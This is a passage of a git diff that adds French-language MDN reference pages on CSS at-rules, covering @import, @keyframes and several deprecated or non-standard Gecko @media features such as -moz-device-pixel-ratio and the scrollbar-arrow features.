+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-feature-values', '@font-feature-values')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.font-feature-values")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété {{cssxref("font-variant-alternates")}} qui utilise la valeur définie par cette règle @.</li>
+</ul>
diff --git a/files/fr/web/css/@import/index.html b/files/fr/web/css/@import/index.html
new file mode 100644
index 0000000000..176945cf96
--- /dev/null
+++ b/files/fr/web/css/@import/index.html
@@ -0,0 +1,81 @@
+---
+title: '@import'
+slug: Web/CSS/@import
+tags:
+  - CSS
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@import
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Règles_@">règle @</a> <strong><code>@import</code></strong> est utilisée afin d'importer des règles à partir d'autres feuilles de style. Ces règles @ doivent être utilisées avant toutes les autres règles, à l'exception de {{cssxref("@charset")}}. <code>@import</code> n'est pas <a href="/fr/Apprendre/CSS/Les_bases/La_syntaxe#Les_instructions_CSS">une instruction imbriquée</a> et ne peut donc pas être utilisée à l'intérieur <a href="/fr/docs/Web/CSS/Règles_@#R.C3.A8gles_conditionnelles_de_groupe">de groupe de règles conditionnelles</a>.</p>
+
+<pre class="brush:css no-line-numbers">@import url("fineprint.css") print;
+@import url("bluish.css") speech;
+@import 'custom.css';
+@import url("chrome://communicator/skin/");
+@import "common.css" screen;
+@import url('landscape.css') screen and (orientation:landscape);
+</pre>
+
+<p>Afin que les agents utilisateurs évitent de récupérer des ressources pour des types de média qui ne sont pas pris en charge, les auteurs peuvent définir des règles <code>@import</code> spécifiques à chaque média. Ces imports conditionnels comportent une liste de <a href="/fr/docs/Web/CSS/Media_queries">requête média</a> séparées par des virgules, situées après l'URL. Si aucune requête média n'est indiquée, l'import est inconditionnel. Cela aura le même effet que d'utiliser la requête média <code>all</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">@import <em>url</em>;
+@import <em>url</em> <em>liste-requetes-media</em>;
+</pre>
+
+<p>où on a :</p>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;string&gt;")}} ou {{cssxref("&lt;url&gt;")}} qui représente l'emplacement de la ressource qu'on souhaite importer. L'URL peut être absolue ou relative. On notera que, pour un paquet Mozilla, l'URL ne pointe pas nécessairement vers un fichier, elle peut simplement définir le nom du paquet et la partie utilisée, le fichier approprié sera alors choisi automatiquement (e.g. <strong>chrome://communicator/skin/</strong>). <a href="/fr/docs/Mozilla/Tech/XUL/Tutorial/The_Chrome_URL">Voir cet article</a> pour plus d'informations.</dd>
+ <dt><code>liste-requetes-media</code></dt>
+ <dd>Une liste de <a href="/fr/docs/Web/CSS/Media_Queries/Using_media_queries">requêtes média</a> séparées par des virgules qui conditionnent l'application des règles CSS pour l'URL associée. Si le navigateur ne prend en charge aucune des requêtes indiquées, il ne charge pas la ressource associée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Cascade', '#at-ruledef-import', '@import')}}</td>
+   <td>{{Spec2('CSS3 Cascade')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#media0', '@import')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Extension de la syntaxe afin de prendre en charge n'importe quelle requête média et pas uniquement <a href="/fr/docs/Web/CSS/@media#Types_de_médias">celles sur les types de média</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'cascade.html#at-import', '@import')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Prise en charge du type {{cssxref("&lt;string&gt;")}} pour indiquer l'URL d'une feuille de style. Il est désormais nécessaire d'insérer les règles <code>@import</code> au début du document CSS.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#the-cascade', '@import')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.import")}}</p>
diff --git a/files/fr/web/css/@keyframes/index.html b/files/fr/web/css/@keyframes/index.html
new file mode 100644
index 0000000000..70f1d251c6
--- /dev/null
+++ b/files/fr/web/css/@keyframes/index.html
@@ -0,0 +1,171 @@
+---
+title: '@keyframes'
+slug: Web/CSS/@keyframes
+tags:
+  - CSS
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@keyframes
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/R%C3%A8gles_@">règle </a><strong><code>@keyframes</code></strong> permet aux auteurs de définir les étapes qui composent la séquence d'une animation CSS. Cela permet de contrôler une animation plus finement que ce qu'on pourrait obtenir avec <a href="/fr/docs/Web/CSS/CSS_Transitions">les transitions</a>.</p>
+
+<pre class="brush: css no-line-numbers notranslate">@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}</pre>
+
+<p>Il est possible de manipuler la règle @ <code>@keyframes</code> via JavaScript et le CSSOM, notamment avec l'interface {{domxref("CSSKeyframesRule")}}.</p>
+
+<p>Afin d'utiliser ces règles, on créera une règle <code>@keyframes</code> avec un nom pour chaque étape et on utilisera ce nom avec la propriété {{cssxref("animation-name")}} afin qu'une animation corresponde à la liste des étapes qui la composent. Chaque règle <code>@keyframes</code> contient une liste de sélecteurs d'étapes dont chacun contient le pourcentage d'avancement de l'animation auquel il correspond ainsi que les informations de styles qui correspondent à cette étape..</p>
+
+<p>Les étapes peuvent être listées dans n'importe quel ordre. Elles seront enchaînées dans l'ordre indiqué par le pourcentage d'avancement.</p>
+
+<h3 id="Validité_de_la_liste_des_étapes">Validité de la liste des étapes</h3>
+
+<p>Si une liste d'étapes ne spécifie pas le début (<code>0%</code>/<code>from</code>) ou la fin (<code>100%</code>/<code>to</code>) d'une animation, le navigateur va utiliser les styles de l'élement définis par ailleurs. C'est assez pratique pour animer un élément depuis et vers son état initial.</p>
+
+<p>Si les étapes décrivent des propriétés qui ne peuvent pas être animées, elles seront ignorées mais les autres propriétés seront bien animées.</p>
+
+<h3 id="Résolution_des_doublons">Résolution des doublons</h3>
+
+<p>Si plusieurs règles <code>@keyframes</code> existent avec le même nom, c'est la dernière qui est utilisée. Les règles <code>@keyframes</code> ne forment pas de cascade et il n'y a donc pas de dérivation entre les différentes règles qui porteraient le même nom.</p>
+
+<p>Si, au sein d'une même règle, deux étapes décrivent le même pourcentage d'avancement, c'est la dernière qui est utilisée pour décrire ce moment de l'animation. Il n'y a aucune cascade qui composerait différentes étapes décrivant le même avancement.</p>
+
+<h3 id="Gestion_des_propriétés_absentes">Gestion des propriétés absentes</h3>
+
+<p>Si des propriétés ne sont pas définies à chaque étape, elles sont interpolées si possible. Si ces propriétés ne peuvent pas être interpolées, elles sont retirées de l'animation :</p>
+
+<pre class="brush: css notranslate">@keyframes identifier {
+  0% { top: 0; left: 0; }
+  30% { top: 50px; }
+  68%, 72% { left: 50px; }
+  100% { top: 100px; left: 100%; }
+}
+</pre>
+
+<p>Ici, la propriété {{cssxref("top")}} est animée en passant par les étapes <code>0%</code>, <code>30%</code> et <code>100%</code>. Quant à {{cssxref("left")}}, elle est animée aux étapes <code>0%</code>, <code>68%</code> , <code>72%</code> et <code>100%</code>.</p>
+
+<p>Seules les propriétés qui sont définies sur les étapes de début (<code>0%</code>) et de fin (<code>100%</code>) seront animées. Toutes les propriétés qui ne sont pas incluses dans les descriptions de ces étapes conserveront leurs valeurs de départ au cours de l'animation.</p>
+
+<h3 id="!important_dans_une_étape"><code>!important</code> dans une étape</h3>
+
+<p>Les déclarations qui utilisent <code>!important</code> dans une description d'étape sont ignorées</p>
+
+<pre class="brush: css notranslate">@keyframes important1 {
+  from { margin-top: 50px; }
+  50%  { margin-top: 150px !important; } /* ignorée */
+  to   { margin-top: 100px; }
+}
+
+@keyframes important2 {
+  from { margin-top: 50px;
+         margin-bottom: 100px; }
+  to   { margin-top: 150px !important; /* ignorée */
+         margin-bottom: 50px; }
+}
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;identifier&gt;</code></dt>
+ <dd>Un nom ({{cssxref("custom-ident")}}) qui permet d'identifier la liste d'étapes. Cela doit être <a href="/fr/docs/Web/CSS/custom-ident">un identifiant valide selon la syntaxe CSS</a>.</dd>
+ <dt><code>from</code></dt>
+ <dd>Indique le point de départ de l'animation (correspond à un avancement de <code>0%</code>).</dd>
+ <dt><code>to</code></dt>
+ <dd>Indique la fin de l'animation (correspond à un avancement de <code>100%</code>).</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Le pourcentage d'avancement de l'animation auquel l'étape décrite s'applique.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  animation-duration: 25s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+  75% {
+    font-size: 300%;
+    margin-left: 25%;
+    width: 150%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  Le Chat grimaça en apercevant Alice. Elle trouva qu’il
+  avait l’air bon enfant, et cependant il avait de
+  très longues griffes et une grande rangée de dents ;
+  aussi comprit-elle qu’il fallait le traiter avec
+  respect.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","500","300")}}</p>
+
+<h3 id="Plus_dexemples">Plus d'exemples ?</h3>
+
+<p>Regardez <a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS">Utiliser les animations CSS</a> pour de plus amples exemples.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#keyframes', '@keyframes')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.keyframes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Animations/Utiliser_les_animations_CSS">Manipuler les animations CSS</a></li>
+ <li>{{domxref("AnimationEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-device-pixel-ratio/index.html b/files/fr/web/css/@media/-moz-device-pixel-ratio/index.html
new file mode 100644
index 0000000000..2aa1ca70a4
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-device-pixel-ratio/index.html
@@ -0,0 +1,46 @@
+---
+title: '-moz-device-pixel-ratio'
+slug: Web/CSS/@media/-moz-device-pixel-ratio
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Déprécié
+  - Non-standard
+translation_of: Web/CSS/@media/-moz-device-pixel-ratio
+---
+<div>{{cssref}} {{Non-standard_header}} {{Deprecated_header}}{{h3_gecko_minversion("-moz-device-pixel-ratio", "2.0")}} {{deprecated_inline("16")}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Cibler_des_caractéristiques_média">caractéristique média</a> <strong><code>-moz-device-pixel-ratio</code></strong>, associée à <a href="/fr/docs/Web/CSS/@media" title="The @media CSS at-rule lets you specify declarations that depend on the condition of a media query. The rule may be placed at the top level of your code or nested inside any other conditional group at-rule."><code>@media</code></a>, est une caractéristique propre à Gecko et peut être utilisée pour appliquer certains styles en fonctions du nombres de pixels physiques par pixel CSS.</p>
+
+<div class="warning">
+<p><strong>Ne pas utiliser cette fonctionnalité ! </strong>La caractéristique <code><a href="/fr/docs/Web/CSS/@media/resolution">resolution</a></code> et l'unité <code>dppx</code> permettent d'obtenir le même mécanisme.<br>
+ <br>
+ <code>-moz-device-pixel-ratio</code> peut être utilisée si besoin d'être compatible avec des versions de Firefox antérieures à la version 16 et <code>-webkit-device-pixel-ratio</code> peut être utilisée avec les navigateurs WebKit qui ne prennent pas en charge <code>dppx</code>. Par exemple :</p>
+
+<pre class="brush: css">@media (-webkit-min-device-pixel-ratio: 2), /* Navigateurs basés sur Webkit */
+       (min--moz-device-pixel-ratio: 2),    /* Anciens Firefox (avant Firefox 16) */
+       (min-resolution: 2dppx),             /* La méthode standard */
+       (min-resolution: 192dpi)             /* Utilisée si dppx n'est pas gérée */ </pre>
+
+<p>Voir <a href="http://www.w3.org/blog/CSS/2012/06/14/unprefix-webkit-device-pixel-ratio/">cet article du CSSWG</a> pour les bonnes pratiques quant à la compatibilité de <code>resolution</code> et <code>dppx</code>.</p>
+</div>
+
+<div class="note"><strong>Note</strong> : Cette caractéristique est également implémentée par Webkit et <a href="https://msdn.microsoft.com/en-us/library/ie/dn760733(v=vs.85).aspx">IE 11 pour Windows Phone 8.1</a> sous le nom <code>-webkit-device-pixel-ratio</code>. Les versions préfixées pour les seuils minimal / maximal sont intitulées <code>min--moz-device-pixel-ratio</code> et <code>max--moz-device-pixel-ratio</code> sous Gecko, tandis que sous Webkit, elles sont intitulées  <code>-webkit-min-device-pixel-ratio</code> et <code>-webkit-max-device-pixel-ratio</code>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;number&gt;")}}</dt>
+ <dd>Le nombre de pixels physiques pour un pixel CSS.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> Oui</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media.-moz-device-pixel-ratio")}}</p>
diff --git a/files/fr/web/css/@media/-moz-mac-graphite-theme/index.html b/files/fr/web/css/@media/-moz-mac-graphite-theme/index.html
new file mode 100644
index 0000000000..0e40cdfb52
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-mac-graphite-theme/index.html
@@ -0,0 +1,34 @@
+---
+title: '-moz-mac-graphite-theme'
+slug: Web/CSS/@media/-moz-mac-graphite-theme
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-mac-graphite-theme
+---
+<div>{{cssref}} {{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Cibler_des_caractéristiques_média">caractéristique média</a> <strong><code>-moz-mac-graphite-theme</code></strong>, rattachée à la règle @  <a href="/fr/docs/Web/CSS/@media" title="The @media CSS at-rule lets you specify declarations that depend on the condition of a media query. The rule may be placed at the top level of your code or nested inside any other conditional group at-rule."><code>@media</code></a>, est spécifique à Gecko et peut être utilisée afin d'appliquer des styles si, sur macOS, l'utilisateur utilise le thème "Graphite".</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Si l'utilisateur a configuré son appareil afin d'utiliser le thème "Graphite" de macOS X, cette caractéristique vaut 1. Sinon, elle vaut 0.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> Non</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Cette caractéristiquee correspond à la pseudo-classe {{CSSxRef(":-moz-system-metric/mac-graphite-theme", ":-moz-system-metric(mac-graphite-theme)")}}.</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-maemo-classic/index.html b/files/fr/web/css/@media/-moz-maemo-classic/index.html
new file mode 100644
index 0000000000..1711266448
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-maemo-classic/index.html
@@ -0,0 +1,30 @@
+---
+title: '-moz-maemo-classic'
+slug: Web/CSS/@media/-moz-maemo-classic
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-maemo-classic
+---
+<div>{{CSSRef}}{{Non-standard_Header}}{{Gecko_MinVersion_Header("1.9.2")}}</div>
+
+<p>La <a href="fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Cibler_des_caractéristiques_média">caractérique média</a> <strong><code>-moz-maemo-classic</code></strong>, rattachée à la règle @ <a href="/fr/docs/Web/CSS/@media" title="The @media CSS at-rule lets you specify declarations that depend on the condition of a media query. The rule may be placed at the top level of your code or nested inside any other conditional group at-rule."><code>@media</code></a>, est spécifique à Gecko et permet d'appliquer des styles si l'agent utilisateur utilise le thème Maemo original.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Si l'agent utilisateur utilise Maemo avec le thème original, cette caractéristique vaut 1. Sinon, elle vaut 0.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> Non.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Cette caractéristique correspond à la pseudo-classe {{CSSxRef(":-moz-system-metric/maemo-classic", ":-moz-system-metric(maemo-classic)")}}.</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-os-version/index.html b/files/fr/web/css/@media/-moz-os-version/index.html
new file mode 100644
index 0000000000..5fafbdb5c5
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-os-version/index.html
@@ -0,0 +1,34 @@
+---
+title: '-moz-os-version'
+slug: Web/CSS/@media/-moz-os-version
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-os-version
+---
+<div>{{cssref}}{{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Cibler_des_caractéristiques_média">caractéristique média</a> <strong><code>-moz-os-version</code></strong>, rattachée à la règle @ <a href="/fr/docs/Web/CSS/@media" title="The @media CSS at-rule lets you specify declarations that depend on the condition of a media query. The rule may be placed at the top level of your code or nested inside any other conditional group at-rule."><code>@media</code></a>, est spécifique à Gecko et permet d'appliquer des styles en fonction de la version de Windows de l'utilisateur. Cela peut être utile afin d'adapter l'apparence d'une interface utilisateur en fonction de la version du système d'exploitation.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>windows-win7</code></dt>
+ <dd>Le système d'exploitation est Windows 7.</dd>
+ <dt><code>windows-win8</code></dt>
+ <dd>Le système d'exploitation est Windows 8.</dd>
+ <dt><code>windows-win10</code></dt>
+ <dd>Le système d'exploitation est Windows 10.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> Non</p>
diff --git a/files/fr/web/css/@media/-moz-scrollbar-end-backward/index.html b/files/fr/web/css/@media/-moz-scrollbar-end-backward/index.html
new file mode 100644
index 0000000000..823591be7f
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-scrollbar-end-backward/index.html
@@ -0,0 +1,32 @@
+---
+title: '-moz-scrollbar-end-backward'
+slug: Web/CSS/@media/-moz-scrollbar-end-backward
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-scrollbar-end-backward
+---
+<div>{{cssref}}{{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Si l'interface de l'appareil affiche une flèche à la fin des ascensceurs (<em>scrollbars</em>), cette caractéristique vaut 1 et sinon 0.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> Non</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La pseudo-classe correspondante {{CSSxRef(":-moz-system-metric/scrollbar-end-backward", ":-moz-system-metric(scrollbar-end-backward)")}}.</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-scrollbar-end-forward/index.html b/files/fr/web/css/@media/-moz-scrollbar-end-forward/index.html
new file mode 100644
index 0000000000..2d7bb0dd8a
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-scrollbar-end-forward/index.html
@@ -0,0 +1,32 @@
+---
+title: '-moz-scrollbar-end-forward'
+slug: Web/CSS/@media/-moz-scrollbar-end-forward
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-scrollbar-end-forward
+---
+<div>{{cssref}} {{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Si l'interface de l'appareil affiche un bouton avec une flèche à la fin des ascenseurs (<em>scrollbars</em>), cette caractéristique vaut 1, sinon elle vaut 0.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> Non</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La pseudo-classe correspondante {{CSSxRef(":-moz-system-metric/scrollbar-end-forward", ":-moz-system-metric(scrollbar-end-forward)")}}</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-scrollbar-start-backward/index.html b/files/fr/web/css/@media/-moz-scrollbar-start-backward/index.html
new file mode 100644
index 0000000000..1424cda885
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-scrollbar-start-backward/index.html
@@ -0,0 +1,32 @@
+---
+title: '-moz-scrollbar-start-backward'
+slug: Web/CSS/@media/-moz-scrollbar-start-backward
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-scrollbar-start-backward
+---
+<div>{{cssref}} {{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Si l'interface de l'appareil affiche un bouton avec une flèche vers l'arrière à la fin des ascenseurs (<em>scrollbars</em>), cette caractéristique vaut 1 et sinon 0.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> non</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La pseudo-classe correspondante {{cssxref(":-moz-system-metric(scrollbar-start-backward)")}}</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-scrollbar-start-forward/index.html b/files/fr/web/css/@media/-moz-scrollbar-start-forward/index.html
new file mode 100644
index 0000000000..851323ed06
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-scrollbar-start-forward/index.html
@@ -0,0 +1,32 @@
+---
+title: '-moz-scrollbar-start-forward'
+slug: Web/CSS/@media/-moz-scrollbar-start-forward
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-scrollbar-start-forward
+---
+<div>{{cssref}} {{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Si l'interface de l'appareil affiche une flèche vers l'avant au début des ascenseurs (<em>scrollbars</em>), cette caractéristique vaut 1 et sinon 0.</dd>
+</dl>
+
+<p><br>
+ <strong>Média :</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Gestion des préfixes min/max :</strong> Non.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La pseudo-classe correspondante {{CSSxRef(":-moz-system-metric/scrollbar-start-forward", ":-moz-system-metric(scrollbar-start-forward)")}}.</li>
+</ul>
diff --git a/files/fr/web/css/@media/-moz-scrollbar-thumb-proportional/index.html b/files/fr/web/css/@media/-moz-scrollbar-thumb-proportional/index.html
new file mode 100644
index 0000000000..575085f65a
--- /dev/null
+++ b/files/fr/web/css/@media/-moz-scrollbar-thumb-proportional/index.html
@@ -0,0 +1,32 @@
+---
+title: '-moz-scrollbar-thumb-proportional'
+slug: Web/CSS/@media/-moz-scrollbar-thumb-proportional
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+translation_of: Archive/Web/CSS/@media/-moz-scrollbar-thumb-proportional
+---
+<div>{{cssref}} {{Non-standard_header}}</div>
+
+<div class="note">
+<p><strong>Note </strong>: Depuis <a href="/fr/docs/Mozilla/Firefox/Releases/58">Firefox 58</a>, cette caractéristique média n'est plus disponible pour être utilisée sur du contenu web. Elle ne peut être utilisée que de façon interne (c'est-à-dire avec XUL et pour le code du chrome). Cf. {{bug(1396066)}} pour plus de détails.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
